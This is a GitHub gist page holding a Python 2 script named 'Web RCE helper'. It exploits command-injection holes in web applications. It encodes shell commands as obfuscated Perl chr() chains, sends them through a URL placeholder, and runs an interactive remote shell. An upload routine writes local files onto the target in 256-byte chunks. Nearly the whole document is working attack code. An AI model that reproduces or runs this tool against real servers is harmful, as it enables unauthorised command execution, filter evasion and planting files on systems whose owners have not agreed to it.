Created
February 13, 2014 21:58
-
-
Save truekonrads/ea88668946b1e338255d to your computer and use it in GitHub Desktop.
Web RCE helper
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/usr/bin/env python | |
import cmd,urllib2, argparse,urlparse,re,urllib,binascii | |
DEFAULT_SPLIT=256 # AIX max len is 4k, so we're just shy | |
def debug(text): | |
global args | |
if args.debug: | |
print "[DD] " + text | |
class WebRCE(object): | |
def __init__(self): | |
global args | |
if args.proxy: | |
proxy_handler=urllib2.ProxyHandler({'http':args.proxy,'https':args.proxy}) | |
self.opener=urllib2.build_opener(proxy_handler) | |
else: | |
self.opener=urllib2.build_opener() | |
self.url=args.url | |
def _prepare_command(self,cmd): | |
# enc=",".join([str(ord(x)) for x in cmd]) | |
# perlstring="""perl -e system(join("",map(chr,(%s))))""" | |
# #perlstring="""perl -e printf(map(chr,(%s))""" | |
# enc=".".join(["chr(%i)" % ord(x) for x in cmd]) | |
# perlstring='perl -e system(%s)' | |
enc=".".join(["chr(%i)" % ord(x) for x in "sh -c '%s'" % cmd.replace("'","\\'")]) | |
clever="use IPC::Open3;waitpid(open3($a,$b,$c,%s),0);print <$b>;print <$c> if $c;" % enc | |
perlstring="perl -e eval(%s)" % (".".join(["chr(%i)" % ord(x) for x in clever])) | |
debug(perlstring) | |
return perlstring | |
def execute(self,command): | |
cmd=self._prepare_command(command) | |
newurl=self.url.replace(args.replace,urllib.quote(cmd)) | |
if args.method=="GET": | |
debug("GET %s" % newurl) | |
try: | |
o=self.opener.open(newurl) | |
except Exception,e: | |
print str(e) | |
print e.read() | |
else: | |
raise Exception("Method %s is not supported" % args.method) | |
print o.read() | |
def download(self,filepath): | |
raise NotImplementedError | |
def upload(self,localpath,remote): | |
debug("write: %s/%s" % (localpath,remote)) | |
try: | |
ldata=file(localpath,"rb").read() | |
except IOError,e: | |
print "Couldn't read %s: %s" % (localpath,str(e)) | |
return | |
i=0 | |
while i<len(ldata): | |
if i+DEFAULT_SPLIT>len(ldata): | |
maxlen=len(ldata)-i | |
else: | |
maxlen=i+DEFAULT_SPLIT | |
debug("write i:%i, maxlen:%i, ldata len:%i" % (i,maxlen,len(ldata))) | |
segment=ldata[i:maxlen] | |
if i==0: | |
filename=">%s" | |
else: | |
filename=">>%s" | |
filename=filename % remote | |
debug ("write filename: %s" % filename) | |
clever = """open(A,"%s");print A <<END\n%s\nEND\n""" % (filename,segment.replace("'","\\'")) | |
perlstring="perl -e eval(%s)" % (".".join(["chr(%i)" % ord(x) for x in clever])) | |
newurl=self.url.replace(args.replace,urllib.quote(perlstring)) | |
if args.method=="GET": | |
debug("GET %s" % newurl) | |
try: | |
o=self.opener.open(newurl) | |
except Exception,e: | |
print str(e) | |
print e.read() | |
return | |
else: | |
raise Exception("Method %s is not supported" % args.method) | |
i=maxlen | |
class WebRCELoop(cmd.Cmd): | |
def __init__(self,*args,**kwargs): | |
self.webrce=WebRCE() | |
cmd.Cmd.__init__(self,*args,**kwargs) | |
def do_EOF(self,line): | |
return True | |
def do_upload(self,line): | |
try: | |
# debug ("do_upload %s" % line) | |
(localpath,remote)=line.split(" ") | |
# debug ("do upload %s/%s " % (localpath,remote)) | |
self.webrce.upload(localpath,remote) | |
except ValueError: | |
print "Usage: write <localfile> <remotefile>" | |
return | |
def default(self,line): | |
self.webrce.execute(line) | |
if __name__=="__main__": | |
global args | |
parser = argparse.ArgumentParser(description="Web RCE helper") | |
parser.add_argument('-p','--proxy',metavar='http://PROXY:PORT',type=str,dest='proxy', | |
help='HTTP proxy') | |
parser.add_argument('-u','--url',metavar='URL',type=str,dest='url',required=True, | |
help='URL') | |
parser.add_argument('-r','--replace',metavar='REPLACE',type=str,dest='replace',default='$$', | |
help='String to replace') | |
parser.add_argument('-c','--cmd',metavar='CMD',type=str,dest='cmd', | |
help='Command to execute in one-shot mode') | |
parser.add_argument('-m','--method',metavar='METHOD',type=str,dest='method',default='GET', | |
help='HTTP method') | |
parser.add_argument('-d','--debug',dest='debug',default=False, | |
help='Debug',action="store_true") | |
args=parser.parse_args() | |
loop=WebRCELoop() | |
if args.cmd: | |
loop.onecmd(args.cmd) | |
else: | |
loop.cmdloop() |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment